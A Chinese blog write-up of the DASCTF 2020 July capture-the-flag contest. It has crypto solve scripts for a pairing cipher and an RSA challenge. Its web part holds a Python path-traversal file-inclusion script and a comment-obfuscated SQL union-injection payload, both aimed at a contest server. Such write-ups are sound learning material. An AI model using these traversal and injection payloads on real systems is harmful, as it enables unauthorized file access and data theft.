DASCTF2020 7月月赛

密码部分

bullshit

题目

from flag import flag
def pairing(a,b):
    shell = max(a, b)
    step = min(a, b)
    if step == b:
        flag = 0
    else:
        flag = 1
    return shell ** 2 + step * 2 + flag

def encrypt(message):
    res = ''
    for i in range(0,len(message),2):
        res += str(pairing(message[i],message[i+1]))
    return res

print(encrypt(flag))
# 1186910804152291019933541010532411051999082499105051010395199519323297119520312715722

拿到第一手看是看懂了 , 解密没啥想法,然后想起每两个字母加密后的数值固定,就想着可以爆破试试

附上我的代码


def pairing(a,b):
    shell = max(a, b)
    step = min(a, b)
    if step == b:
        flag = 0
    else:
        flag = 1
    return shell ** 2 + step * 2 + flag

def encrypt(message):
    res = ''
    for i in range(0,len(message),2):
        res += str(pairing(message[i],message[i+1]))
    return res

temp = '1186910804152291019933541010532411051999082499105051010395199519323297119520312715722'

fuzz = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@_.<>?/;!$#{}-"
fuzz = list(fuzz)
print(fuzz)
flag = 'flag'
for k in range(20):
    for i in fuzz:
        for j in fuzz:
            flag_temp = flag + i + j
            # print(flag_temp)
            res = encrypt(flag_temp.encode('utf-8'))
            if res in temp:
                # print(res)
                # print(flag_temp)
                flag = flag_temp
    print(flag)

无脑爆破果然好使 嘿嘿!

后面看别的师傅的解,果然这不是预期解 hhh

ezrsa

题目

from secret import flag
from Crypto.Util.number import getPrime,inverse,bytes_to_long,long_to_bytes
from sympy import isprime

m = bytes_to_long(flag)

i=0
p=getPrime(1024)
r=getPrime(1024)
while True:
    i+=1
    q = 5*p+i
    if isprime(q) :
        break

n=p*q*r
e = 65537
c = pow(m,e,n)
p3 = pow(p,3,n)
q3 = pow(q,3,n)
print c
print e
print n
print p3
print q3

#c=121836624300974075697021410307617877799398704636412997043885070081959280989429720121505939271618801519845564677294487289085261071864489530938936756975266796724602572135614554790383740417604947122325421381322155502222532570899845171858215244411945889235509975121332503672838693190271397334662495169940649349725607212867270114445618201171582223868214171942753939282404133460110489725340075179818856587044172460703519751189284498768640898837525773823127259807337383870535232880471869465188882667401540052151795173003568424369575866780354852158304748299284900468768898966143729562589110027789165774068500360970335261801131264801996703446527156709491597639262305131309592217711956181866054589085773085822482247966030763162382493197473555330201343835684065991963179440335668817727280429581864224497755004825170263803174390985868997862117983334405815543271969716910040927833496696049703621334172902517666284662473059140662717708823
#e=65537
#n=20361372240024088786698455948788052559208001789410016096382703853157107986024860262721685000417719260611935731634077852127432140361792767202581631816544546972750034494061276779878409544779707914261679633764772575040304712361634318086289783951555842021028438799649252652041211341825451500751760872572402250747982495384263677669526575825183733353800694161425360299521143726681387485097281832219009682768523304737252763907939642212542959846630464628135025203489075698699980715986689341069964387779523254203021424865355054215122316160201073604105317768112281914334065349420946717116563634883368316247495042216330408372176714499012778410160478384503335610321108263706243329745785632599707740534386988945259578897614317582546751658480917188464178997026284336861027299289073045677754342746386408505695243800685323283852020325044649604548575089927541935884800327121875191739922436199496098842684301207745090701158839031935190703347091
#p3=3639847731266473012111996909765465259684540134584180368372338570948892196816095838781423020996407457408188225238520927483809091079993151555076781372882518810174687150067903870448436299501557380508793238254471833275507634732947964907461619182112787911133054275872120243558556697900528427679352181961312958660881800731678134481664074711076672290178389996403357076809805422591851145306425951725627843352207233693810474618882394140691334742086008967260117740486955640068190440609984095657695423536016475468229419187489359563800737261212975921663803729112420222039005478830477455592167092520074509241894829304209406713781082959299623674294927249556083486223036858674077173104518013601628447504500606447821540687465361616447631579976579754996021653630804073535352129315413118764836270751250405649683786487251823247828947202336680538849571498780353357272103697510910576879383751704763858882439578045020243015928994208017750848637513
#q3=7030777127779173206633582847346001157991477456002191926122836599155148909465054067800807615361108442560942058865403188672629297039703065927801771646334817871335134889139894648729527452541098449842202838983982508551750669662540615534327150829869964429006130891731472099912937717406120443380283548571270317421722042835639732966975812764084015221255115940508456442279902250677665136380988902682370875602145833135937210740790528756301051981994351553247852018355526641012434670664732924491790949235519600899289515495046353559475806935200029321563549553167235419039924276406059858659476329718809657072997385947262654743181242885709558209249589482036673428723035300722280229192727192487772217518673838209646300548275957450994828221329299666216457961746189885356929698674294944243729739850927111231235060005119781652245234537583181232715964191675241206562888107252569566488402724441835466680342239244581162530424964324562530832713397

分析了一下 ,看出这题核心是求出p 只要p求出来了 q, r 自然的就可以解出来,看见n和p3差别不大,并且e=3直接考虑低加密指数攻击

附上脚本

from Crypto.Util.number import getPrime,inverse,bytes_to_long,long_to_bytes
import gmpy2
from sympy import isprime

c=121836624300974075697021410307617877799398704636412997043885070081959280989429720121505939271618801519845564677294487289085261071864489530938936756975266796724602572135614554790383740417604947122325421381322155502222532570899845171858215244411945889235509975121332503672838693190271397334662495169940649349725607212867270114445618201171582223868214171942753939282404133460110489725340075179818856587044172460703519751189284498768640898837525773823127259807337383870535232880471869465188882667401540052151795173003568424369575866780354852158304748299284900468768898966143729562589110027789165774068500360970335261801131264801996703446527156709491597639262305131309592217711956181866054589085773085822482247966030763162382493197473555330201343835684065991963179440335668817727280429581864224497755004825170263803174390985868997862117983334405815543271969716910040927833496696049703621334172902517666284662473059140662717708823
e=65537
n=20361372240024088786698455948788052559208001789410016096382703853157107986024860262721685000417719260611935731634077852127432140361792767202581631816544546972750034494061276779878409544779707914261679633764772575040304712361634318086289783951555842021028438799649252652041211341825451500751760872572402250747982495384263677669526575825183733353800694161425360299521143726681387485097281832219009682768523304737252763907939642212542959846630464628135025203489075698699980715986689341069964387779523254203021424865355054215122316160201073604105317768112281914334065349420946717116563634883368316247495042216330408372176714499012778410160478384503335610321108263706243329745785632599707740534386988945259578897614317582546751658480917188464178997026284336861027299289073045677754342746386408505695243800685323283852020325044649604548575089927541935884800327121875191739922436199496098842684301207745090701158839031935190703347091
p3=3639847731266473012111996909765465259684540134584180368372338570948892196816095838781423020996407457408188225238520927483809091079993151555076781372882518810174687150067903870448436299501557380508793238254471833275507634732947964907461619182112787911133054275872120243558556697900528427679352181961312958660881800731678134481664074711076672290178389996403357076809805422591851145306425951725627843352207233693810474618882394140691334742086008967260117740486955640068190440609984095657695423536016475468229419187489359563800737261212975921663803729112420222039005478830477455592167092520074509241894829304209406713781082959299623674294927249556083486223036858674077173104518013601628447504500606447821540687465361616447631579976579754996021653630804073535352129315413118764836270751250405649683786487251823247828947202336680538849571498780353357272103697510910576879383751704763858882439578045020243015928994208017750848637513
q3=7030777127779173206633582847346001157991477456002191926122836599155148909465054067800807615361108442560942058865403188672629297039703065927801771646334817871335134889139894648729527452541098449842202838983982508551750669662540615534327150829869964429006130891731472099912937717406120443380283548571270317421722042835639732966975812764084015221255115940508456442279902250677665136380988902682370875602145833135937210740790528756301051981994351553247852018355526641012434670664732924491790949235519600899289515495046353559475806935200029321563549553167235419039924276406059858659476329718809657072997385947262654743181242885709558209249589482036673428723035300722280229192727192487772217518673838209646300548275957450994828221329299666216457961746189885356929698674294944243729739850927111231235060005119781652245234537583181232715964191675241206562888107252569566488402724441835466680342239244581162530424964324562530832713397

# e = 3 时 低指数
def small_msg(e, n, c):
    for k in range(2000000):
        if gmpy2.iroot(k*n + c, e)[1]:
            return gmpy2.iroot(k*n + c, e)[0]
    return False

# print(small_msg(3,n,p3))
p = 153825288616407542734919511160359014401888182850314472769290928486517268729935022247316737053250308073746472804093669693357223174200482626309533529675828482194838951112584376667097776211803735802734163923995423953464212795474099182334274189325134694595476369758794997842329418616111329225615979898403815097817

i = 0
while True:
    i+=1
    q = 5*p+i
    if isprime(q) :
        break

r = n//p//q
print(p)
print(q)
print(r)

print(p*q*r)

u = (q-1)*(p-1)*(r-1)

d = gmpy2.invert(e,u)

flag = pow(c,d,n)
print(flag)
print(long_to_bytes(flag))

最后出题人师傅说,这不是预期解,emmm
本来只有p,q的 结果审核的时候发现有非预期 ,然后就加了一个r
然后,然后就这样了呗 hhh
预期解啥样,我不知道,咋也不敢问,问了也看不懂

然而作为一个web狗,天天刷web,结果最后做出两密码 /无奈

web

赛后复现。。(/惨)

Ezinclude

发现
http://183.129.189.60:10012/image.phpt=1595656230&f=Z3F5LmpwZw==

t是时间戳,f是b64后的文件名

大概思路就是包含文件/flag,但是直接…/会显示没有权限
当时做到这就没做下去了

赛后才知道之过滤前面。。。y1ng师傅都说沙雕题我就放心了

附上自己的payload

import requests
import time
import base64

url = 'http://183.129.189.60:10012/image.php?t={}&f={}'
t = int(time.time())
f = "gqy.jpg../../../../../../../flag"
f = base64.b64encode(f.encode("utf-8")).decode("utf-8")
url = url.format(t, f)
response = requests.get(url)
print(url)
print(response.text)

y1ng师傅的payload是

y1ng/…/…/…/…/…/…/…/flag

但是我复现时发现多了一个/我的出不来,不知道是什么原因,难受

sqli

这道题呢就非常的神奇,我加 ‘ 就没报错,, 加了 ’# 也不正常回显 ,比赛的时候也是,复现也是 。。
DASCTF2020 7月月赛_第1张图片

DASCTF2020 7月月赛_第2张图片

别的师傅的wp都说行 /大哭
这几个payload我都没正常的回显

DASCTF2020 7月月赛_第3张图片
直接用最后查询flag的也能出来

payload

?id=100’//union//select//*,1//from/**/flllaaaggg%23

刚刚结果已经出来了的,但是现在回显没了 ,估计哪位师傅删库了把
/无奈
DASCTF2020 7月月赛_第4张图片
以后找到原因了再来完善把

你可能感兴趣的:(CTF,密码学)